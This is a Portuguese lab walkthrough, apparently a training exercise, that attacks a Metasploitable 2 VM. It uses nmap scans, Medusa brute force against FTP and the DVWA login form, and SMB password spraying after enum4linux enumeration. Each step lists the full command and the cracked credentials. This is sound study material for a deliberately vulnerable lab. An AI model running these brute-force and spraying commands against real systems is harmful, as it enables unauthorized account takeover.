

Reconhecimento

Descobrir hosts ativos na rede

```
bash
sudo nmap -sn 192.168.56.0/24
```

Parte	O que faz
-sn	Ping scan — só verifica quais hosts estão ativos, sem escanear portas
192.168.56.0/24	Toda a faixa de IPs da rede host-only

Verificar conectividade com o alvo

```
bash
ping -c 3 192.168.56.101
```

Parte	O que faz
-c 3	Envia 3 pacotes e para
192.168.56.101	IP do Metasploitable 2

Resultado obtido:

3 packets transmitted, 3 received, 0% packet loss

Escanear portas e versões de serviços

```
bash
nmap -sV -p 21,22,80,445 192.168.56.101
```

Parte	O que faz
-sV	Detecta a versão dos serviços rodando
-p 21, 22, 80, 445	Escaneia somente essas portas (FTP, SSH, HTTP, SMB)

Resultado obtido:

```
21/tcp open ftp      vsftpd 2.3.4
22/tcp open ssh        OpenSSH 4.7p1
```

80/tcp open http Apache httpd 2.2.8
445/tcp open netbios-ssn Samba smbd 3.X - 4.X

1 — FTP

Verificar acesso manual antes do ataque

```
bash
ftp 192.168.56.101
```

Resultado: 530 Login incorrect com usuário inválido — confirmou que o serviço está ativo e rejeita credenciais erradas.

Executar força bruta com Medusa

```
bash
medusa -h 192.168.56.101 \
-u msfadmin \
-P wordlists/senhas_ftp.txt \
-M ftp \
-f -v 4
```

Parâmetro	O que faz
-h 192.168.56.101	IP do alvo
-u msfadmin	Testa apenas este usuário
-P wordlists/senhas_ftp.txt	Arquivo com a lista de senhas
-M ftp	Usa o módulo FTP do Medusa
-f	Para assim que encontrar a primeira credencial válida
-v 4	Nível de verbosidade médio (mostra tentativas em tempo real)

Resultado:

```
ACCOUNT FOUND: [ftp] Host: 192.168.56.101 User: msfadmin Password: msfadmin
[SUCCESS]
```

Validar o acesso encontrado

```
bash
ftp 192.168.56.101
# Name: msfadmin
# Password: msfadmin
ftp> ls
ftp> pwd
ftp> quit
```

2 — Web (DVWA)

Verificar opções do módulo HTTP no Medusa

```
bash
medusa -M http -q
```

Parte	O que faz
-M http	Seleciona o módulo HTTP
-q	Exibe a ajuda do módulo sem executar ataque

Executar força bruta no formulário DVWA

```
bash
medusa -h 192.168.56.101 \
  -U wordlists/usuarios_web.txt \
  -P wordlists/senhas_web.txt \
  -M http \
  -m PAGE:'/dvwa/login.php' \
  -m FORM:'username=^USER^&password=^PASS^&Login=Login' \
  -m 'FAIL=Login failed' \
  -t 6
```

Parâmetro	O que faz
-U usuarios_web.txt	Usa uma lista de usuários
-P senhas_web.txt	Usa a lista de senhas
-M http	Módulo de ataque HTTP
-m PAGE: '/dvwa/login.php'	Caminho da página de login

-m	Estrutura do formulário POST — ^USER^ e ^PASS^ são
FORM:'username=^USER^&	substituídos pelo Medusa
...'	
-m 'FAIL=Login failed'	String que o servidor retorna quando o login falha
-t 6	6 threads em paralelo

Resultados obtidos:

```
ACCOUNT FOUND: [http] User: msfadmin Password: 123456 [SUCCESS]
ACCOUNT FOUND: [http] User: admin Password: 123456 [SUCCESS]
ACCOUNT FOUND: [http] User: rost Password: 123456 [SUCCESS]
ACCOUNT FOUND: [http] User: msfadmin Password: password [SUCCESS]
ACCOUNT FOUND: [http] User: user Password: msfadmin [SUCCESS]
ACCOUNT FOUND: [http] User: user Password: password [SUCCESS]
ACCOUNT FOUND: [http] User: user Password: qwerty [SUCCESS]
```

3 — SMB (Password Spraying)

Enumerar informações do servidor SMB

```
bash
enum4linux -a 192.168.56.101
```

Parte	O que faz
- a	Executa todas as verificações: usuários, grupos, compartilhamentos, política de senhas

Informações relevantes obtidas:

Workgroup: WORKGROUP
OS: Samba 3.0.20-Debian
Null sessions: PERMITIDAS ← sem autenticação necessária
Account Lockout Threshold: None ← sem limite de tentativas
Password Complexity: Disabled
Minimum Password Length: 5

Salvar output do enum4linux

```
bash
enum4linux -a 192.168.56.101 | tee enum4_output.txt
```

Parte	O que faz
-------	-----------

tee Exibe na tela E salva no arquivo ao mesmo tempo

Criar wordlists com base na enumeração

```
bash
echo -e "user\nmsfadmin\nservice" > smb_users.txt
echo -e "password\n123456\nwelcome123\nmsfadmin" > senhas_spray.txt
```

Executar password spraying no SMB

```
bash
medusa -h 192.168.56.101 \
-U smb_users.txt \
-P senhas_spray.txt \
-M smbnt \
-t 2 -T 50
```

Parâmetro

O que faz

-M smbnt	Módulo SMB com autenticação NTLM (compatível com Samba antigo)
-t 2	2 threads por host
-T 50	Timeout de 50 segundos por tentativa

Resultado obtido:

```
ACCOUNT FOUND: [smbnt] Host: 192.168.56.101 User: msfadmin Password: msfadmin
[SUCCESS (ADMIN$ - Access Allowed)]
```

Listar compartilhamentos com a credencial encontrada

```
bash
smbclient -L //192.168.56.101 -U msfadmin
# Password: msfadmin
```

Parte

O que faz

-L //192.168.56.101	Lista os compartilhamentos do servidor
1	
-U msfadmin	Autentica como o usuário msfadmin